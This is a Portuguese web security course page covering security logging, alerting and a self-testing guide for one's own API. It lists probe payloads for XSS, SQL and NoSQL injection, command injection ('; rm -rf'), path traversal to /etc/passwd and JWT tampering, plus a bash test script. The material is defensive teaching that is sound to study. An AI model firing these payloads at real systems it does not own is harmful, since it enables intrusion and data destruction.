Realidade: 47% das breaches levam meses para ser descobertas. Se você monitora, descobre em horas. Diferença de milhões.

description O Que Logar?

sirene Eventos Críticos

  • Login/logout com sucesso e falhas
  • Alterações de senha e 2FA
  • Mudanças de permissões/roles
  • Acesso a dados sensíveis
  • Erros 403 (acesso negado)
  • Tentativas de privilégio escalation
  • Deletamentos de dados
  • Tentativas de exploração (SQL injection, XSS, etc)

dashboard Eventos de Negócio

  • Transações/pagamentos
  • Criação/edição de contas
  • Mudanças de configuração
  • Uploads de arquivos
  • Exports de dados
  • APIs chamadas
  • Importações em massa
  • Relatórios gerados

engrenagem Eventos Técnicos

  • Erros da aplicação (500)
  • Rate limiting acionado
  • Falhas em validação
  • Alerts de segurança
  • Tempo de resposta lento
  • Picos de requisições
  • Falhas de conexão BD
  • Deployment/versões

localização Contexto para Cada Log

  • Timestamp exato (ISO 8601)
  • ID do usuário/sessão
  • IP e User-Agent
  • Endpoint/método HTTP
  • Resultado (sucesso/erro)
  • Dados relevantes (sem senhas!)
  • Stack trace em erros
  • Duração da operação

code Implementação: Sistema de Logs

Node.js com Winston (Logger Popular)

const winston = require('winston'); // Configurar logger const logger = winston.createLogger({ level: 'info', format: winston.format.json(), defaultMeta: { service: 'auth-api' }, transports: [ // Log de erros em arquivo new winston.transports.File({ filename: 'logs/error.log', level: 'error' }), // Todos os logs new winston.transports.File({ filename: 'logs/combined.log' }), // Eventos críticos new winston.transports.File({ filename: 'logs/security.log', level: 'warn', format: winston.format.json() }) ] }); // Logar login bem-sucedido app.post('/login', (req, res) => { const user = authenticate(req.body); if (user) { logger.info('Login successful', { userId: user.id, email: user.email, ip: req.ip, userAgent: req.get('user-agent'), timestamp: new Date().toISOString() }); res.json({ token: generateToken(user) }); } else { logger.warn('Login failed - invalid credentials', { email: req.body.email, ip: req.ip, attempt: 'password_mismatch', timestamp: new Date().toISOString() }); res.status(401).send('Invalid credentials'); } }); // Logar acesso a dados sensíveis app.get('/users/:id/sensitive', verifyToken, (req, res) => { if (req.user.role !== 'admin') { logger.error('Unauthorized access attempt', { userId: req.user.id, targetUserId: req.params.id, ip: req.ip, timestamp: new Date().toISOString(), severity: 'HIGH' }); return res.status(403).send('Access denied'); } logger.info('Sensitive data accessed', { userId: req.user.id, targetUserId: req.params.id, ip: req.ip, timestamp: new Date().toISOString() }); res.json(getUserSensitiveData(req.params.id)); });

search Padrões Suspeitos a Detectar

bola vermelha Múltiplas Tentativas de Login

Mesmo IP tentando login 10+ vezes em 5 min = brute-force!

IP: 192.168.1.5
⏰ 14:00 - Login fail
⏰ 14:01 - Login fail
⏰ 14:02 - Login fail X
ALERTA DISPARADO

bola vermelha Acesso de IP Desconhecido

Usuário sempre loga de Brasil, de repente de China?

user@ae7.com
Ok Normal: SP (192.168.x.x)
alerta Suspeito: CN (210.xxx.x.x)
VERIFICAR 2FA

bola vermelha Rate Limiting Acionado

429 Too Many Requests = tentativa de abuso ou DDoS!

192.168.1.5: 1000 reqs/min
Limite: 100 reqs/min X
Bloqueado por 1h
LOGAR COMO SUSPEITO

bola vermelha Injeção SQL/XSS Detectada

Input contém padrão de exploit (OR 1=1, <script>, etc)

POST /users
Input: "name=x' OR '1'='1"
X BLOQUEADO
ALERTA CRÍTICO

build Ferramentas de Monitoramento

elefante ELK Stack

Elasticsearch + Logstash + Kibana

  • Elasticsearch: BD de logs
  • Logstash: Processa logs
  • Kibana: Dashboard visual

Lupa Splunk

Plataforma enterprise de análise

  • Análise em tempo real
  • Machine learning para anomalias
  • Relatórios automáticos

cloud AWS CloudWatch

Monitoramento nativo AWS

  • Coleta de logs de EC2
  • Métricas e alertas
  • Integração com Lambda

dashboard Datadog

Observabilidade unificada

  • APM (Application Performance)
  • Infraestrutura monitorada
  • Alertas inteligentes

storage Retenção e Compliance

POLÍTICA DE RETENÇÃO RECOMENDADA │ ├─► Logs de Segurança (críticos) │ └─ Manter: 2 anos │ (requisitos legais/LGPD) │ ├─► Logs de Auditoria (transações) │ └─ Manter: 1 ano │ (conformidade) │ ├─► Logs de Aplicação (gerais) │ └─ Manter: 90 dias │ (debugging) │ └─► Logs em Cache (memória) └─ Manter: 7 dias (performance) JAMAIS DELETAR: ├─► Logs de login/logout ├─► Logs de mudança de dados ├─► Logs de acesso privilegiado └─► Logs de incidentes de segurança

notifications_active Sistema de Alertas

Configurar Alertas Automáticos

// Exemplo com Datadog const alertConfigs = [ { name: 'Múltiplas tentativas de login', condition: 'failed_logins > 5 in 5m', severity: 'HIGH', notify: ['slack', 'email'], actions: ['block_ip', 'send_alert'] }, { name: 'Acesso não autorizado', condition: 'status:403 from new_ip', severity: 'CRITICAL', notify: ['sms', 'pagerduty'], actions: ['investigate', 'block_ip'] }, { name: 'Taxa de erro elevada', condition: 'error_rate > 5% in 10m', severity: 'MEDIUM', notify: ['slack'], actions: ['notify_team'] }, { name: 'Tentativa de SQL injection', condition: 'input_contains("OR 1=1")', severity: 'CRITICAL', notify: ['sms', 'pagerduty', 'email'], actions: ['block_request', 'log_incident'] } ]; // Disparar alerta function raiseAlert(config, details) { logger.error('SECURITY ALERT', { alert: config.name, severity: config.severity, details, timestamp: new Date() }); // Notificar times if (config.severity === 'CRITICAL') { sendSMS(oncallTeam.phone); sendPagerDutyAlert(details); } else { sendSlackMessage(securityChannel, details); } }

check_circle Checklist: Monitoramento Robusto

  • Logar todos os eventos críticos (auth, dados sensíveis)
  • Incluir contexto completo em cada log
  • Usar ferramentas de análise (ELK, Splunk, etc)
  • Detectar padrões suspeitos automaticamente
  • Configurar alertas em tempo real
  • Reter logs de segurança por 2 anos
  • Testar alertas regularmente
  • Treinar time para responder a incidentes
Seção 10 - Teste Prático | Segurança Web (AE7)
10 check_circle

10. Teste Prático — Validando Sua Segurança

Teoria é ótima, mas prática é ouro. Nesta seção, você vai testar seu backend contra todos os ataques que aprendemos. Sem sair da casa, você é um "white hat" (hacker ético) testando suas próprias defesas.

lightbulb
Princípio Fundamental: É melhor VOCÊ descobrir as vulnerabilidades antes dos hackers! Teste proativamente.

build Ferramentas de Teste

cURL

Fazer requisições HTTP customizadas da linha de comando.

curl -X POST https://api.ae7.com/login \ -H "Content-Type: application/json" \ -d '{"email":"test@ae7.com","password":"123"}'
ok CLI

Postman

Interface visual para testar APIs com facilidade.

  • Criar coleções de requests
  • Testar automaticamente
  • Simular múltiplos cenários
ok Recomendado

Burp Suite

Proxy MITM para interceptar e modificar requisições.

  • Interceptar tráfego HTTP/HTTPS
  • Modificar payloads em tempo real
  • Testar headers e cookies
ok Profissional

OWASP ZAP

Scanner de segurança automático gratuito.

  • Scanear site procurando vulns
  • Testar OWASP Top 10
  • Gerar relatórios
ok Gratuito

assignment Guia de Teste por Seção

Teste 1: Injeção XSS (Seção 2)

Objetivo: Tentar injetar JavaScript
Payload:
<script>alert('XSS')</script>
  1. Ir para formulário de cadastro
  2. Colar payload no campo "nome"
  3. Enviar (POST /users)
  4. x Esperado: Bloqueado ou escapado
  5. ok Sucesso: Payload foi neutralizado

Teste 2: SQL Injection (Seção 2)

Objetivo: Contornar validação SQL
Payload:
' OR '1'='1 ou admin'--
  1. Ir para login
  2. Email: admin'--
  3. Password: qualquer coisa
  4. x Esperado: Login falha
  5. ok Sucesso: SQL injection foi bloqueado

Teste 3: CSRF (Seção 5)

Objetivo: Fazer ação sem token CSRF
Ferramenta: cURL ou Postman
  1. Estando autenticado, copie o session cookie
  2. Abra novo ambiente (sem cookie)
  3. Tente fazer POST /transfer sem token CSRF
  4. x Esperado: Rejeita (403)
  5. ok Sucesso: CSRF token foi validado

Teste 4: Rate Limiting (Seção 6)

Objetivo: Exceder limite de requisições
Ferramenta: cURL em loop
  1. Rodar: for i in {1..50}; do curl https://api.ae7.com/login; done
  2. Esperado: Primeiras requisições passam
  3. x Depois: 429 Too Many Requests
  4. ok Sucesso: Rate limit foi acionado

Teste 5: Autorização RBAC (Seção 7)

Objetivo: User tentar acessar recurso admin
Ferramenta: Burp Suite
  1. Logar como usuário comum
  2. Interceptar request com Burp
  3. Tentar acessar DELETE /users (admin)
  4. x Esperado: 403 Forbidden
  5. ok Sucesso: Autorização foi respeitada

checklist Checklist Completo de Testes

lupa Testes de Input

  • Injetar XSS: <script>
  • Injetar SQL: OR 1=1
  • Injetar NoSQL: {$ne: ''}
  • Command injection: ; rm -rf
  • File upload: .php malicioso
  • Path traversal: ../../../etc/passwd

cadeado Testes de Autenticação

  • Brute-force: múltiplas tentativas
  • Token expirado: usar old token
  • Token tampered: modificar JWT
  • CSRF: requisição sem token
  • Session fixation: forçar session ID
  • Cookie theft: roubar httpOnly?

relogio Testes de Rate Limit

  • Exceder limite por IP
  • Exceder limite por usuário
  • Bypass com header X-Forwarded-For
  • Validar resposta 429
  • Validar header Retry-After

user Testes de Autorização

  • User acessar recurso admin
  • Deletar recurso de outro usuário
  • Escalar privilégio (user→admin)
  • Bypass de roles (modificar JWT)
  • Acessar dados sensíveis

api Testes de API

  • CORS sem whitelist (Origin: *)
  • API sem autenticação
  • Enumeração de API keys
  • Acesso sem API key
  • Versões antigas deprecated

database Testes de Dados

  • Dados sensíveis em erro 500
  • Dados em response sem sanitizar
  • Logs com dados sensíveis
  • Cache com dados privados
  • Backup expostos publicamente

automation Automação de Testes de Segurança

ok Script de Teste Automatizado

#!/bin/bash # Suite de Testes de Segurança API="https://api.ae7.com" echo "cadeado Iniciando testes de segurança..." # Teste 1: Validação de HTTPS echo "ok Teste HTTPS..." if curl -s "$API/health" > /dev/null; then echo " ok HTTPS ativo" else echo " x HTTPS não respondendo" fi # Teste 2: Rate Limiting echo "ok Teste Rate Limiting..." for i in {1..50}; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ "$API/login") if [ "$STATUS" -eq 429 ]; then echo " ok Rate limit acionado após $i requisições" break fi done # Teste 3: SQL Injection echo "ok Teste SQL Injection..." RESPONSE=$(curl -s -X POST "$API/login" \ -H "Content-Type: application/json" \ -d '{"email":"admin'\''--","password":"x"}') if [[ ! $RESPONSE =~ "logged" ]]; then echo " ok SQL Injection bloqueado" else echo " x SQL Injection detectado!" fi # Teste 4: CSRF Token echo "ok Teste CSRF..." RESPONSE=$(curl -s -X POST "$API/transfer" \ -H "Authorization: Bearer TOKEN" \ -d '{"amount":100}') if [[ $RESPONSE =~ "CSRF" ]] || \ [[ $RESPONSE =~ "403" ]]; then echo " ok CSRF Protection ativo" else echo " x CSRF vulnerável!" fi echo "ok Testes concluídos!"

trending_up Próximos Passos Após Testes

1. EXECUTAR TESTES │ └─► Execute todos os testes desta seção ├─ Testes manuais ├─ Testes automatizados └─ Testes de penetração (opcional) 2. DOCUMENTAR RESULTADOS │ └─► Crie um relatório com: ├─ Vulnerabilidades encontradas ├─ Severidade de cada uma ├─ Screenshots/provas └─ Data do teste 3. CORRIGIR ISSUES │ └─► Priorize por severidade: ├─ CRÍTICO: corrigir hoje ├─ ALTO: corrigir esta semana ├─ MÉDIO: corrigir este mês └─ BAIXO: backlog 4. RE-TESTAR │ └─► Após cada correção: ├─ Execute teste específico ├─ Valide fix funcionou └─ Procure regressions 5. MONITORAR CONTINUAMENTE │ └─► Testes não são one-time: ├─ Testes antes de deploy ├─ Testes em staging ├─ Testes em produção (passivo) └─ Testes periódicos (mensal)

flag Conclusão: Os 10 Pilares da Segurança Web

Seções 1-2

Fundamentos

Entenda o que precisa proteger (dados) e contra quem (hackers). Conhecer o inimigo é metade da batalha.

Seções 3-5

Defesa em Camadas

Validação → Sanitização → CSRF → Autenticação. Cada camada bloqueia um tipo de ataque diferente.

Seção 6

Controle de Taxa

Rate limiting para evitar abuso. Simples mas poderoso contra brute-force e DDoS.

Seção 7

Controle de Acesso

Auth define quem você é. AuthZ define o que você pode fazer. Ambas são imprescindíveis.

Seção 8

Proteção de APIs

APIs públicas são portas abertas. Feche com CORS, autenticação e rate limiting.

Seções 9-10

Detecção + Testes

Monitore logs para detectar ataques. Teste proativamente para encontrar falhas ANTES dos hackers.

estrela Mensagem Final

Você completou este guia! confete Não é mais um iniciante em segurança web. Você conhece os principais ataques, as defesas padrão da indústria, e como testar seu próprio código.

Mas a segurança é uma jornada contínua. Novos ataques surgem todo dia. Mantenha-se atualizado, leia blogs de segurança, participe de bug bounty programs, e sempre teste suas aplicações.

Lembre-se: O código seguro não é mais lento. É a mesma coisa, mas que não vira cinzas quando hackeado. Vale a pena. escudo

library_books Recursos Adicionais & Referências

Leitura Essencial

  • OWASP Top 10 (atualizado anualmente)
  • OWASP Testing Guide v4.0
  • CWE/SANS Top 25
  • NIST Cybersecurity Framework

Prática Online

  • HackTheBox.com
  • TryHackMe.com
  • PortSwigger Web Security Academy
  • DVWA (Damn Vulnerable Web App)

Ferramentas Recomendadas

  • Burp Suite (Pro)
  • OWASP ZAP (Free)
  • SQLMap (SQL Injection)
  • Nikto (Web Scanner)

Comunidades

  • OWASP Foundation
  • DEF CON (hacker conference)
  • Bug Bounty Programs (HackerOne, Bugcrowd)
  • Reddit r/cybersecurity

done_all Sua Jornada de Segurança

  • ok Completou todas as 10 seções
  • ☐ Executou testes práticos desta seção
  • ☐ Implementou validação em seu código
  • ☐ Implementou sanitização de dados
  • ☐ Adicionou CSRF protection
  • ☐ Configurou rate limiting
  • ☐ Implementou autenticação segura
  • ☐ Protegeu suas APIs públicas
  • ☐ Configurou logging e monitoramento
  • ☐ Agora você é um web security expert! formatura

Assistente Virtual

Online

Olá! 👋

Para começar, por favor nos informe: